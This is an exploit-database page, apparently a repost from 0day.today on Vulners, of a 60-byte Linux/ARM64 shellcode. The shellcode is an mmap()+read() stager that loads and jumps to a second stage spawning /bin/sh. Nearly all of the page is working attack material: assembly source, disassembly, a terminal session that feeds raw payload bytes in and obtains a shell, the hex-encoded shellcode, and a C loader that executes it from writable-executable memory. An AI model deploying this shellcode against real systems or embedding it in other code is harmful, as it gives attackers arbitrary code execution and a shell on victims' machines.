Lucene search
K

Linux/ARM64 - mmap() + read() stager + execve("/bin/sh", NULL, NULL) Shellcode (60 Bytes

🗓️ 02 Jul 2019 00:00:00Reported by Ken KitaharaType 
zdt
 zdt
🔗 0day.today👁 189 Views

Linux/ARM64 - mmap() + read() stager + execve("/bin/sh", NULL, NULL) Shellcode (60 Bytes) for Ubuntu 16.0

Code
/*
# Title:  Linux/ARM64 - mmap() + read() stager + execve("/bin/sh", NULL, NULL) Shellcode (60 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu Xenial Xerus (development branch)
Release:	16.04
Codename:	xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat stager.s
.section .text
.global _start
_start:
    // *ret = mmap(0, 0x1000, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0)
    mov  x8, #222             // Systemcall Number = 222 (mmap)
    mov  x0, xzr              // args[0] = 0x0
    mov  x3, 0x22             // args[3] = 0x22
    mvn  x4, xzr              // args[4] = -1 (0xffffffffffffffff)
    mov  x5, xzr              // args[5] = 0x0
    lsr  x2, x4, #61          // args[2] = 0x7
    add  x1, x2, #0xFF9       // args[1] = 0x1000
    svc  #0x1337              // Invoke Systemcall
    //read(0, *ret, 0x1000)
    mov  x2, x1               // args[2] = 0x1000 
    add  x1, x0, xzr, lsl #12 // args[1] = *ret
    mov  x10, x1              // save *ret to x10
    mov  x0, xzr              // args[0] = 0x0
    mov  x8, #63              // Systemcall Number = 63 (read)
    svc  #0x1337              // Invoke Systemcall
    br   x10                  // Jump to loaded shellcode
ubuntu@ubuntu:~/works$ as -o stager.o stager.s && ld -o stager stager.o
ubuntu@ubuntu:~/works$ objdump -d ./stager

./stager:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
  400078:	d2801bc8 	mov	x8, #0xde                  	// #222
  40007c:	aa1f03e0 	mov	x0, xzr
  400080:	d2800443 	mov	x3, #0x22                  	// #34
  400084:	aa3f03e4 	mvn	x4, xzr
  400088:	aa1f03e5 	mov	x5, xzr
  40008c:	d37dfc82 	lsr	x2, x4, #61
  400090:	913fe441 	add	x1, x2, #0xff9
  400094:	d40266e1 	svc	#0x1337
  400098:	aa0103e2 	mov	x2, x1
  40009c:	8b1f3001 	add	x1, x0, xzr, lsl #12
  4000a0:	aa0103ea 	mov	x10, x1
  4000a4:	aa1f03e0 	mov	x0, xzr
  4000a8:	d28007e8 	mov	x8, #0x3f                  	// #63
  4000ac:	d40266e1 	svc	#0x1337
  4000b0:	d61f0140 	br	x10
ubuntu@ubuntu:~/works$ (echo -en "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"; cat) | ./stager
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),107(netdev)
exit

ubuntu@ubuntu:~/works$ objcopy -O binary stager stager.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' stager.bin && echo
\xc8\x1b\x80\xd2\xe0\x03\x1f\xaa\x43\x04\x80\xd2\xe4\x03\x3f\xaa\xe5\x03\x1f\xaa\x82\xfc\x7d\xd3\x41\xe4\x3f\x91\xe1\x66\x02\xd4\xe2\x03\x01\xaa\x01\x30\x1f\x8b\xea\x03\x01\xaa\xe0\x03\x1f\xaa\xe8\x07\x80\xd2\xe1\x66\x02\xd4\x40\x01\x1f\xd6

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xc8\x1b\x80\xd2\xe0\x03\x1f\xaa\x43\x04\x80\xd2\xe4\x03\x3f\xaa"
"\xe5\x03\x1f\xaa\x82\xfc\x7d\xd3\x41\xe4\x3f\x91\xe1\x66\x02\xd4"
"\xe2\x03\x01\xaa\x01\x30\x1f\x8b\xea\x03\x01\xaa\xe0\x03\x1f\xaa"
"\xe8\x07\x80\xd2\xe1\x66\x02\xd4\x40\x01\x1f\xd6";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

    void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2019 00:00Current
7.1High risk
Vulners AI Score7.1
189